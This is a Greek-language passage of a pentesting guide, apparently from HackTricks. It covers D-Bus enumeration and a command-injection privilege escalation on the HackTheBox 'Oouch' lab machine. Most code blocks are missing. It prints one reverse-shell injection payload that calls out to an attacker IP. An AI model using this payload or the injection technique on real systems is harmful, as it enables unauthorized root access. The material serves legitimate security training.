D-Bus Enumeration & Command Injection Privilege Escalation
Διακριτοποίηση GUI
Το D-Bus χρησιμοποιείται ως μεσολαβητής επικοινωνίας μεταξύ διεργασιών (IPC) στα περιβάλλοντα επιφάνειας εργασίας του Ubuntu. Στο Ubuntu, παρατηρείται η συνδυαστική λειτουργία αρκετών διαύλων μηνυμάτων: ο διαύλος του συστήματος, που χρησιμοποιείται κυρίως από προνομιούχες υπηρεσίες για την παροχή υπηρεσιών που αφορούν σε ολόκληρο το σύστημα, και ένας διαύλος συνεδρίας για κάθε συνδεδεμένο χρήστη, που παρέχει υπηρεσίες που αφορούν μόνο σε αυτόν τον συγκεκριμένο χρήστη. Ο κύριος στόχος εδώ είναι ο διαύλος του συστήματος λόγω της συσχέτισής του με υπηρεσίες που λειτουργούν με υψηλά προνόμια (π.χ., root), καθώς ο στόχος μας είναι η ανύψωση των προνομίων. Σημειώνεται ότι η αρχιτεκτονική του D-Bus χρησιμοποιεί έναν "δρομολογητή" ανά διαύλο συνεδρίας, ο οποίος είναι υπεύθυνος για την ανακατεύθυνση των μηνυμάτων των πελατών στις κατάλληλες υπηρεσίες με βάση τη διεύθυνση που καθορίζεται από τους πελάτες για την υπηρεσία με την οποία επιθυμούν να επικοινωνήσουν.
Οι υπηρεσίες στο D-Bus καθορίζονται από τα αντικείμενα και τις διεπαφές που παρέχουν. Τα αντικείμενα μπορούν να μοιάζουν με περιπτώσεις κλάσεων σε κανονικές γλώσσες αντικειμένων προσανατολισμένων στο αντικείμενο (OOP), με κάθε περίπτωση να αναγνωρίζεται μοναδικά από ένα μονοπάτι αντικειμένου. Αυτό το μονοπάτι, παρόμοιο με ένα μονοπάτι αρχείου, αναγνωρίζει μοναδικά κάθε αντικείμενο που παρέχεται από την υπηρεσία. Μια κύρια διεπαφή για ερευνητικούς σκοπούς είναι η διεπαφή org.freedesktop.DBus.Introspectable, που περιλαμβάνει μια μοναδική μέθοδο, την Introspect. Αυτή η μέθοδος επιστρέφει μια XML αναπαράσταση των υποστηριζόμενων μεθόδων, σημάτων και ιδιοτήτων του αντικειμένου, με έμφαση εδώ στις μεθόδους και παράλειψη των ιδιοτήτων και των σημάτων.
Για την επικοινωνία με τη διεπαφή D-Bus, χρησιμοποιήθηκαν δύο εργαλεία: ένα εργαλείο γραμμής εντολών με το όνομα gdbus για εύκολη κλήση των μεθόδων που παρέχονται από το D-Bus σε σενάρια, και το D-Feet, ένα εργαλείο βασισμένο σε Python σχεδιασμένο για την απαρίθμηση των διαθέσιμων υπηρεσιών σε κάθε διαύλο και την εμφάνιση των αντικειμένων που περιέχονται σε κάθε υπηρεσία.
Στην πρώτη εικόνα φαίνονται οι υπηρεσίες που έχουν καταχωρηθεί με το σύστημα διαύλου D-Bus, με τον org.debin.apt να είναι ειδικά επισημασμένος μετά την επιλογή του κουμπιού System Bus. Το D-Feet ερωτά αυτήν την υπηρεσία για αντικείμενα, εμφανίζοντας διεπαφές, μεθόδους, ιδιότητες και σήματα για τα επιλεγμένα αντικείμενα, όπως φαίνεται στη δεύτερη εικόνα. Λεπτομερείς πληροφορίες δίνονται και για την υπογραφή κάθε μεθόδου.
Ένα σημαντικό χαρακτηριστικό είναι η εμφάνιση του αναγνωριστικού διεργασίας (pid) και της γραμμής εντολής της υπηρεσίας, που είναι χρήσιμα για την επιβεβαίωση εάν η υπηρεσία λειτουργεί με αυξημένα δικαιώματα, κάτι που είναι σημαντικό για την σχετική έρευνα.
Το D-Feet επίσης επιτρέπει την κλήση μεθόδων: οι χρήστες μπορούν να εισάγουν εκφράσεις Python ως παραμέτρους, οι οποίες το D-Feet μετατρέπει σε τύπους D-Bus πριν την πέραση στην υπηρεσία.
Ωστόσο, πρέπει να σημειωθεί ότι ορισμένες μεθόδοι απαιτούν πιστοποίηση πριν από την επιτροπή τους. Θα αγνοήσουμε αυτές τις μεθόδους, αφού ο στόχος μας είναι να αναβαθμίσουμε τα δικαιώματά μας χωρίς διαπιστευτήρια από την αρχή.
Επίσης, πρέπει να σημειωθεί ότι ορισμένες από τις υπηρεσίες ερωτούν μια άλλη υπηρεσία D-Bus με το όνομα org.freedeskto.PolicyKit1 εάν ένας χρήστης πρέπει να επιτραπεί να εκτελέσει ορισμένες ενέργειες ή όχι.
Απαρίθμηση γραμμής εντολής
Λίστα αντικειμένων υπηρεσίας
Είναι δυνατόν να απαριθμήσουμε τις ανοιχτές διεπαφές D-Bus με:
Συνδέσεις
Από την Wikipedia: Όταν ένας διεργασία δημιουργεί μια σύνδεση με ένα λεωφορείο, το λεωφορείο αναθέτει στη σύνδεση ένα ειδικό όνομα λεωφορείου που ονομάζεται μοναδικό όνομα σύνδεσης. Τα ονόματα λεωφορείου αυτού του τύπου είναι αμετάβλητα - είναι εγγυημένο ότι δεν θα αλλάξουν όσο υπάρχει η σύνδεση - και, ακόμα πιο σημαντικό, δεν μπορούν να χρησιμοποιηθούν ξανά κατά τη διάρκεια της διάρκειας ζωής του λεωφορείου. Αυτό σημαίνει ότι καμία άλλη σύνδεση με αυτό το λεωφορείο δεν θα έχει ποτέ ανατεθεί τέτοιο μοναδικό όνομα σύνδεσης, ακόμα κι αν η ίδια διεργασία κλείσει τη σύνδεση με το λεωφορείο και δημιουργήσει μια νέα. Τα μοναδικά ονόματα σύνδεσης είναι εύκολα αναγνωρίσιμα επειδή ξεκινούν με τον - αλλιώς απαγορευμένο - χαρακτήρα των ανάγκαστικών.
Πληροφορίες αντικειμένου υπηρεσίας
Στη συνέχεια, μπορείτε να λάβετε ορισμένες πληροφορίες σχετικά με τη διεπαφή με:
Λίστα Διεπαφών Αντικειμένου Υπηρεσίας
Θα πρέπει να έχετε αρκετές άδειες.
Επιθεώρηση Διεπαφής ενός Αντικειμένου Υπηρεσίας
Παρατηρήστε πώς σε αυτό το παράδειγμα επιλέχθηκε η πιο πρόσφατη διεπαφή που ανακαλύφθηκε χρησιμοποιώντας την παράμετρο tree
(δείτε την προηγούμενη ενότητα):
Σημειώστε τη μέθοδο .Block
της διεπαφής htb.oouch.Block
(αυτή που μας ενδιαφέρει). Το "s" στις άλλες στήλες μπορεί να σημαίνει ότι αναμένει ένα string.
Διεπαφή Παρακολούθησης/Καταγραφής
Με επαρκή δικαιώματα (μόνο τα δικαιώματα send_destination
και receive_sender
δεν είναι αρκετά) μπορείτε να παρακολουθήσετε μια επικοινωνία D-Bus.
Για να παρακολουθήσετε μια επικοινωνία θα πρέπει να είστε root. Εάν αντιμετωπίζετε προβλήματα για να γίνετε root, ελέγξτε https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ και https://wiki.ubuntu.com/DebuggingDBus
Εάν γνωρίζετε πώς να ρυθμίσετε ένα αρχείο ρύθμισης D-Bus για να επιτρέψετε σε μη root χρήστες να καταγράφουν την επικοινωνία, παρακαλώ επικοινωνήστε μαζί μου!
Διάφοροι τρόποι παρακολούθησης:
Στο παρακάτω παράδειγμα, παρακολουθείται η διεπαφή htb.oouch.Block
και αποστέλλεται το μήνυμα "lalalalal" μέσω εσφαλμένης επικοινωνίας:
Μπορείτε να χρησιμοποιήσετε τη λέξη capture
αντί για monitor
για να αποθηκεύσετε τα αποτελέσματα σε ένα αρχείο pcap.
Φιλτράροντας τον περιττό θόρυβο
Εάν υπάρχει πάρα πολλή πληροφορία στο δίκτυο, μπορείτε να περάσετε έναν κανόνα αντιστοίχισης όπως εξής:
Μπορούν να καθοριστούν πολλαπλοί κανόνες. Εάν ένα μήνυμα ταιριάζει με οποιονδήποτε από τους κανόνες, το μήνυμα θα εκτυπωθεί. Όπως εξής:
Δείτε την τεκμηρίωση του D-Bus για περισσότερες πληροφορίες σχετικά με τη σύνταξη των κανόνων αντιστοίχισης.
Περισσότερα
Το busctl
έχει ακόμα περισσότερες επιλογές, βρείτε τις όλες εδώ.
Ευάλωτο Σενάριο
Ως χρήστης qtc μέσα στον οικοδεσπότη "oouch" από το HTB, μπορείτε να βρείτε ένα απρόσμενο αρχείο ρύθμισης D-Bus που βρίσκεται στο /etc/dbus-1/system.d/htb.oouch.Block.conf:
Σημείωση από την προηγούμενη διαμόρφωση ότι θα πρέπει να είστε ο χρήστης root
ή www-data
για να στείλετε και να λάβετε πληροφορίες μέσω αυτής της επικοινωνίας D-BUS.
Ως χρήστης qtc μέσα στο docker container aeb4525789d8 μπορείτε να βρείτε κάποιον κώδικα που σχετίζεται με το dbus στο αρχείο /code/oouch/routes.py. Αυτός είναι ο ενδιαφέρων κώδικας:
Όπως μπορείτε να δείτε, γίνεται σύνδεση σε ένα διεπαφή D-Bus και αποστέλλεται στη συνάρτηση "Block" το "client_ip".
Στην άλλη πλευρά της σύνδεσης D-Bus υπάρχει ένας μεταγλωττισμένος δυαδικός κώδικας που εκτελείται. Αυτός ο κώδικας ακούει στη σύνδεση D-Bus για διευθύνσεις IP και καλεί το iptables μέσω της συνάρτησης system
για να αποκλείσει την δοθείσα διεύθυνση IP.
Η κλήση στη system
είναι ευάλωτη επίτηδες σε εντολές εισαγωγής, έτσι ένα payload όπως το παρακάτω θα δημιουργήσει ένα αντίστροφο shell: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Εκμεταλλευτείτε το
Στο τέλος αυτής της σελίδας μπορείτε να βρείτε τον πλήρη κώδικα C της εφαρμογής D-Bus. Μέσα σε αυτόν μπορείτε να βρείτε μεταξύ των γραμμών 91-97 πώς εγγράφονται οι διαδρομή αντικειμένου D-Bus
και το όνομα διεπαφής
. Αυτές οι πληροφορίες θα είναι απαραίτητες για να στείλετε πληροφορίες στη σύνδεση D-Bus:
Επίσης, στη γραμμή 57 μπορείτε να δείτε ότι η μόνη μέθοδος που έχει καταχωρηθεί για αυτήν την επικοινωνία D-Bus ονομάζεται Block
(Γι' αυτό στην επόμενη ενότητα οι φορτία θα αποστέλλονται στο αντικείμενο υπηρεσίας htb.oouch.Block
, τη διεπαφή /htb/oouch/Block
και τη μέθοδο με όνομα Block
):
Python
Ο παρακάτω κώδικας σε python θα στείλει το payload στη σύνδεση D-Bus στη μέθοδο Block
μέσω block_iface.Block(runme)
(σημείωση ότι αυτό εξήχθη από το προηγούμενο τμήμα του κώδικα):
busctl και dbus-send
The busctl
and dbus-send
commands are powerful tools for interacting with the D-Bus system. D-Bus is a message bus system that allows different applications to communicate with each other. These commands can be used for enumeration and command injection privilege escalation attacks.
busctl
is a command-line tool that allows you to introspect and interact with the D-Bus system. It can be used to list available services, objects, and interfaces, as well as call methods and inspect properties.dbus-send
is another command-line tool that allows you to send messages to the D-Bus system. It can be used to invoke methods on objects, set properties, and send signals.
Both of these tools can be used to discover vulnerable services and interfaces that can be exploited for privilege escalation. By enumerating the available services and objects, an attacker can identify potential targets for further exploitation. Additionally, by injecting malicious commands or scripts into method calls or property settings, an attacker can execute arbitrary code with elevated privileges.
It is important to note that these tools should only be used for legitimate purposes, such as testing the security of your own systems or with proper authorization during a penetration testing engagement. Unauthorized use of these tools can lead to legal consequences.
Το
dbus-send
είναι ένα εργαλείο που χρησιμοποιείται για να στείλει μηνύματα στο "Message Bus".Το Message Bus είναι ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με την ουρά μηνυμάτων (τα μηνύματα ταξινομούνται σε ακολουθία), αλλά στο Message Bus τα μηνύματα στέλνονται με μοντέλο συνδρομής και είναι πολύ γρήγορα.
Ο ετικέτα "system" χρησιμοποιείται για να υποδείξει ότι είναι ένα μήνυμα συστήματος, όχι ένα μήνυμα συνεδρίας (από προεπιλογή).
Η ετικέτα "--print-reply" χρησιμοποιείται για να εκτυπώσει το μήνυμά μας κατάλληλα και να λάβει οποιεσδήποτε απαντήσεις σε μια ανθρώπινη αναγνώσιμη μορφή.
Η ετικέτα "--dest=Dbus-Interface-Block" αναφέρεται στη διεύθυνση της διεπαφής Dbus.
Η ετικέτα "--string:" είναι ο τύπος του μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν αρκετές μορφές αποστολής μηνυμάτων, όπως double, bytes, booleans, int, objpath. Από αυτές, το "object path" είναι χρήσιμο όταν θέλουμε να στείλουμε τη διαδρομή ενός αρχείου στη διεπαφή Dbus. Σε αυτήν την περίπτωση, μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) για να περάσουμε ένα εντολή στη διεπαφή με το όνομα ενός αρχείου. "string:;" - Αυτό είναι για να καλέσουμε ξανά τη διαδρομή του αντικειμένου όπου τοποθετούμε το αρχείο/εντολή αντιστροφής της κατάληξης του FIFO. Σημειώστε ότι στο
htb.oouch.Block.Block
, ο πρώτος μέρος (htb.oouch.Block
) αναφέρεται στο αντικείμενο υπηρεσίας και το τελευταίο μέρος (.Block
) αναφέρεται στο όνομα της μεθόδου.
Κώδικας C
Αναφορές
Last updated